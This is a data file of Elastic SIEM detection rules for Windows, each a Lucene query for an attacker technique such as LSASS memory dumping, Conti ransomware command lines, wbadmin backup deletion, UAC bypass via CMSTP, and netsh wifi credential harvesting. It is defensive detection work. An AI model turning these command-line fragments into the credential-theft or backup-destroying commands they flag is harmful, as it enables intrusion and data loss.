{"description":"Change outlook email security settings Author: frack113. License: ","enabled":false,"false_positives":["Administrative scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bf5e50d8-1298-0aa1-d9c1-54a62e8356c7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Change Outlook Security Setting in Registry","query":"(winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\* AND winlog.event_data.TargetObject:*\\\\Outlook\\\\Security\\\\* AND winlog.event_data.EventType:\"SetValue\")","meta":{"from":"1m"},"severity":"medium","tags":["T1137"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1137","name":"Office Application Startup","reference":""}]}],"version":1,"references":[""]}
{"description":"Checks whether the image specified in a process creation event doesn't refer to an .exe file (caused by process ghosting or other unorthodox methods to start a process) Author: Max Altgelt. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7f46171e-381a-9685-1e8b-70d79d267399","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Execution of Suspicious File Type Extension","query":"((NOT (process.executable:(*.exe OR *.tmp))) AND (NOT ((NOT _exists_:process.executable) OR (process.executable:(\"Registry\" OR \"MemCompression\")) OR (process.executable:(\"\\-\" OR \"\")) OR (process.executable:C\\:\\\\Windows\\\\Installer\\\\MSI*) OR (process.parent.executable:(C\\:\\\\ProgramData\\\\Avira\\\\* OR C\\:\\\\Windows\\\\System32\\\\DriverStore\\\\FileRepository\\\\*)) OR (process.executable:*.scr) OR (process.executable:*NVIDIA\\\\NvBackend\\\\* AND process.executable:*.dat) OR (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*) AND process.executable:*.com) OR (process.executable:*\\\\WinSCP.com) OR (process.executable:*C\\:\\\\Users\\\\* AND process.executable:*\\\\AppData\\\\* AND process.executable:*.tmp* AND process.executable:*CodeSetup*) OR (process.executable:*\\\\program\\\\soffice.bin) OR (process.executable:(\"C\\:\\\\Program\\ Files\\\\EMC\\ NetWorker\\\\Management\\\\GST\\\\apache\\\\cgi\\-bin\\\\update_jnlp.cgi\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\EMC\\ NetWorker\\\\Management\\\\GST\\\\apache\\\\cgi\\-bin\\\\update_jnlp.cgi\")) OR (process.executable:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\WINPAKPRO\\\\* OR C\\:\\\\Program\\ Files\\\\WINPAKPRO\\\\*) AND process.executable:*.ngn) OR (process.executable:(\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\MyQ\\\\Server\\\\pcltool.dll\" OR \"C\\:\\\\Program\\ Files\\\\MyQ\\\\Server\\\\pcltool.dll\")) OR (process.executable:(C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Visual\\ Studio*) AND process.executable:*.com) OR (process.executable:C\\:\\\\Config.Msi\\\\* AND process.executable:(*.rbf OR *.rbs)))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process) Author: Max Altgelt. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"71158e3f-df67-472b-930e-7d287acaa3e1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Execution Of Not Existing File","query":"((NOT (process.executable:*\\\\*)) AND (NOT ((NOT _exists_:process.executable) OR (process.executable:(\"\\-\" OR \"\")) OR (process.executable:\"Registry\" OR process.command_line:\"Registry\"))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"COM interface (EditionUpgradeManager) that is not used by standard executables. Author: oscd.community, Dmitry Uchakin. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fb3722e4-1a06-46b6-b772-253e2e7db933","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Load Undocumented Autoelevated COM Interface","query":"winlog.event_data.CallTrace:*editionupgrademanagerobj.dll*","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Commandline to lauch powershell with a base64 payload Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"215e49d4-ad69-ee0c-36e8-c208557afacc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Execution of Powershell with Base64","query":"((process.executable:*\\\\powershell.exe AND process.command_line:(*\\ \\-e\\ * OR *\\ \\-en\\ * OR *\\ \\-enc\\ * OR *\\ \\-enco* OR *\\ \\-ec\\ *)) AND (NOT (process.command_line:*\\ \\-Encoding\\ *)))","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Compress taget file into a cab file stored in the Alternate Data Stream (ADS) of the target file. Author: frack113. License: ","enabled":false,"false_positives":["Very Possible"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6b369ced-4b1d-48f1-b427-fdc0de0790bd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Diantz Alternate Data Stream Execution","query":"(process.command_line:*diantz.exe* AND process.command_line:*.cab* AND process.command_line:/:[^\\\\\\\\]/)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
{"description":"Conti ransomware command line ioc Author: frack113. License: ","enabled":false,"false_positives":["Unknown should be low"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"689308fc-cfba-4f72-9897-796c1dc61487","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Conti Ransomware Execution","query":"(process.command_line:*\\-m\\ * AND process.command_line:*\\-net\\ * AND process.command_line:*\\-size\\ * AND process.command_line:*\\-nomutex\\ * AND process.command_line:*\\-p\\ \\\\\\* AND process.command_line:*$*)","meta":{"from":"1m"},"severity":"critical","tags":["T1486"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1486","name":"Data Encrypted for Impact","reference":""}]}],"version":1,"references":[""]}
{"description":"Conti recommendation to its affiliates to use esentult to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab. Author: sam0x90. License: ","enabled":false,"false_positives":["To be determined"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"02967ce8-d940-f8c7-090b-8cfe51a33070","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Esentutl Gather Credentials","query":"(process.command_line:*esentutl* AND process.command_line:*\\ \\/p*)","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft â€œRoslynâ€ Community Technology Preview was named 'rcsi.exe' Author: Konstantin Grishchenko, oscd.community. License: ","enabled":false,"false_positives":["Legitimate usage by software developers"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"40b95d31-1afc-469e-8d34-9a3a667d058e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Csi.exe Usage","query":"((process.executable:*\\\\csi.exe OR process.executable:*\\\\rcsi.exe OR winlog.event_data.OriginalFileName:\"csi.exe\" OR winlog.event_data.OriginalFileName:\"rcsi.exe\") AND Company:\"Microsoft\\ Corporation\")","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1072","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1072","name":"Software Deployment Tools","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Deletes the Windows systemstatebackup using wbadmin.exe.\nThis technique is used by numerous ransomware families.\nThis may only be successful on server platforms that have Windows Backup enabled.\n Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"89f75308-5b1b-4390-b2d8-d6b2340efaf8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Wbadmin Delete Systemstatebackup","query":"((image:*\\\\wbadmin.exe OR process.command_line:*wbadmin*) AND (process.command_line:*delete\\ * AND process.command_line:*systemstatebackup\\ * AND process.command_line:*\\-keepVersions\\:0*))","meta":{"from":"1m"},"severity":"high","tags":["T1490"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1490","name":"Inhibit System Recovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Deletion of log files is a known anti-forensic technique Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b4d80bda-f427-b427-2920-fc51da61620d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Delete Log from Application","query":"((file.path:*.log AND file.path:*\\\\TeamViewer_*) AND (NOT (process.executable:\"C\\:\\\\Windows\\\\system32\\\\svchost.exe\")))","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images Author: frack113. License: ","enabled":false,"false_positives":["Legitim script"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"43e32da2-fdd0-4156-90de-50dfd62636f9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Dism Remove Online Package","query":"((process.executable:*\\\\DismHost.exe AND process.parent.command_line:*\\/online* AND process.parent.command_line:*\\/Disable\\-Feature* AND process.parent.command_line:*\\/FeatureName\\:* AND process.parent.command_line:*\\/Remove*) OR (process.executable:*\\\\Dism.exe AND process.command_line:*\\/online* AND process.command_line:*\\/Disable\\-Feature* AND process.command_line:*\\/FeatureName\\:* AND process.command_line:*\\/Remove*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect an interactive AT job, which may be used as a form of privilege escalation. Author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community. License: ","enabled":false,"false_positives":["Unlikely (at.exe deprecated as of Windows 8)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"60fc936d-2eb0-4543-8a13-911c750a1dfc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Interactive AT Job","query":"(process.executable:*\\\\at.exe AND process.command_line:*interactive*)","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect attacker collecting audio via SoundRecorder application. Author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community. License: ","enabled":false,"false_positives":["Legitimate audio capture by legitimate user."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"83865853-59aa-449e-9600-74b9d89a6d6e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Audio Capture via SoundRecorder","query":"(process.executable:*\\\\SoundRecorder.exe AND process.command_line:*\\/FILE*)","meta":{"from":"1m"},"severity":"medium","tags":["T1123"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1123","name":"Audio Capture","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect child processes of automatically elevated instances of Microsoft Connection Manager Profile Installer (cmstp.exe). Author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community. License: ","enabled":false,"false_positives":["Legitimate use of cmstp.exe utility by legitimate user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e66779cc-383e-4224-a3a4-267eeb585c40","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Bypass UAC via CMSTP","query":"(process.executable:*\\\\cmstp.exe AND process.command_line:(*\\/s* OR *\\/au*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1218","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""},{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect creation of dump files containing the memory space of lsass.exe, which contains sensitive credentials. Identifies usage of Sysinternals procdump.exe to export the memory space of lsass.exe which contains sensitive credentials. Author: E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ffa6861c-4461-4f59-8a41-578c39f3f23e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"LSASS Memory Dumping","query":"(((process.command_line:*lsass* AND process.command_line:*.dmp*) AND (NOT (process.executable:*\\\\werfault.exe))) OR (process.executable:*\\\\procdump* AND process.executable:*.exe AND process.command_line:*lsass*))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect DLL deletions from Spooler Service driver folder Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2ba8c83d-bb5d-ab83-d4e8-374aead2e9e3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Windows Spooler Service Suspicious File Deletion","query":"(process.executable:*spoolsv.exe AND file.path:*C\\:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect DLL Load from Spooler Service backup folder Author: FPT.EagleEye, Thomas Patzke (improvements). License: ","enabled":false,"false_positives":["Loading of legitimate driver"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d83919f4-18b7-4961-ec0a-56e61eb8095a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Windows Spooler Service Suspicious Binary Load","query":"(process.executable:*spoolsv.exe AND file.path:(*\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\* OR *\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\4\\\\*) AND file.path:*.dll)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","Privilege Escalation","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect download by BITS jobs via PowerShell Author: Endgame, JHasenbusch (ported to sigma for oscd.community). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f67dbfce-93bc-440d-86ad-a95ae8858c90","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Bitsadmin Job via PowerShell","query":"(process.executable:*\\\\powershell.exe AND process.command_line:*Start\\-BitsTransfer*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1197"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1197","name":"BITS Jobs","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1197","name":"BITS Jobs","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect ed user accept agreement execution in psexec commandline Author: omkar72 - . License: ","enabled":false,"false_positives":["Administrative scripts."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0a475963-0abe-26a2-1dcf-2e3e8a573f05","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Psexec Accepteula Condition","query":"(process.executable:*\\\\psexec.exe AND process.command_line:*accepteula*)","meta":{"from":"1m"},"severity":"medium","tags":["T1021","T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect file time attribute change to hide new or changes to existing files. Author: Igor Fits, Mikhail Larin, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"88c0f9d8-30a8-4120-bb6b-ebb54abcf2a0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"File Time Attribute Change","query":"(process.executable:*\\/touch AND process.command_line:(*\\-t* OR *\\-acmr* OR *\\-d* OR *\\-r*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect indirect command execution via Program Compatibility Assistant (pcalua.exe or forfiles.exe). Author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community. License: ","enabled":false,"false_positives":["Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts.","Legitimate usage of scripts."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fa47597e-90e9-41cd-ab72-c3b74cfb0d02","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Indirect Command Execution","query":"process.parent.executable:(*\\\\pcalua.exe OR *\\\\forfiles.exe)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect indirect command execution via Program Compatibility Assistant pcwrun.exe Author: A. Sungurov , oscd.community. License: ","enabled":false,"false_positives":["Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts","Legit usage of scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b97cd4b1-30b8-4a9d-bd72-6293928d52bc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Indirect Command Execution By Program Compatibility Wizard","query":"process.parent.executable:*\\\\pcwrun.exe","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale Author: Samir Bousseaden. License: ","enabled":false,"false_positives":["if the source IP is not localhost then it's super suspicious, better to monitor both local and remote changes to GPO scheduledtasks"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"31f1061c-7da1-8938-c3e0-e1c6395d15e2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Persistence and Execution at Scale via GPO Scheduled Task","query":"(winlog.channel:\"Security\" AND winlog.event_id:\"5145\" AND winlog.event_data.ShareName:\\\\\\*\\\\SYSVOL AND winlog.event_data.RelativeTargetName:*ScheduledTasks.xml AND Accesses:(*WriteData* OR *%%4417*))","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level Author: Teymur Kheirkhabarov. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"56384687-7154-1ff2-03e4-81abc6cd7ddf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Possible Privilege Escalation via Service Permissions Weakness","query":"(IntegrityLevel:\"Medium\" AND process.command_line:*ControlSet* AND process.command_line:*services* AND process.command_line:(*\\\\ImagePath* OR *\\\\FailureCommand* OR *\\\\ServiceDll*))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect possible Sysmon driver unload Author: Kirill Kiryanov, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4d7cda18-1b12-4e52-b45c-d28653210df8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Sysmon Driver Unload","query":"(process.executable:*\\\\fltmc.exe AND process.command_line:*unload* AND process.command_line:*sys*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1070","T1562","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""},{"id":"T1562","name":"Impair Defenses","reference":""},{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect suspicious parent processes of well-known Windows processes Author: vburov. License: ","enabled":false,"false_positives":["Some security products seem to spawn these"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"76fe8be6-bab6-0498-0e6d-6a7515581e22","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Windows Processes Suspicious Parent Directory","query":"(process.executable:(*\\\\svchost.exe OR *\\\\taskhost.exe OR *\\\\lsm.exe OR *\\\\lsass.exe OR *\\\\services.exe OR *\\\\lsaiso.exe OR *\\\\csrss.exe OR *\\\\wininit.exe OR *\\\\winlogon.exe) AND (NOT ((process.parent.executable:(*\\\\SavService.exe OR *\\\\ngen.exe) OR process.parent.executable:(*\\\\System32\\\\* OR *\\\\SysWOW64\\\\*)) OR (process.parent.executable:(*\\\\Windows\\ Defender\\\\* OR *\\\\Microsoft\\ Security\\ Client\\\\*) AND process.parent.executable:*\\\\MsMpEng.exe) OR (NOT _exists_:process.parent.executable OR process.parent.executable:\"\\-\"))))","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1036","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""},{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect the harvesting of wifi credentials using netsh.exe Author: Andreas Hunkeler (@Karneades), oscd.community. License: ","enabled":false,"false_positives":["Legitimate administrator or user uses netsh.exe wlan functionality for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"42b1a5b8-353f-4f10-b256-39de4467faff","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Harvesting of Wifi Credentials Using netsh.exe","query":"(process.executable:*\\\\netsh.exe AND process.command_line:*wlan* AND process.command_line:*\\ s* AND process.command_line:*\\ p* AND process.command_line:*\\ k* AND process.command_line:*\\=clear*)","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1040"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1040","name":"Network Sniffing","reference":""}]},{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1040","name":"Network Sniffing","reference":""}]}],"version":1,"references":[""]}
{"description":"Detect the use of Windows Defender to download payloads Author: Matthew Matchen. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"aec9408c-079f-d099-6899-4eea95d8c38d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Windows Defender Download Activity","query":"((process.command_line:*MpCmdRun.exe* OR winlog.event_data.Description:\"Microsoft\\ Malware\\ Protection\\ Command\\ Line\\ Utility\") AND (process.command_line:*DownloadFile* AND process.command_line:*url*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1105","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
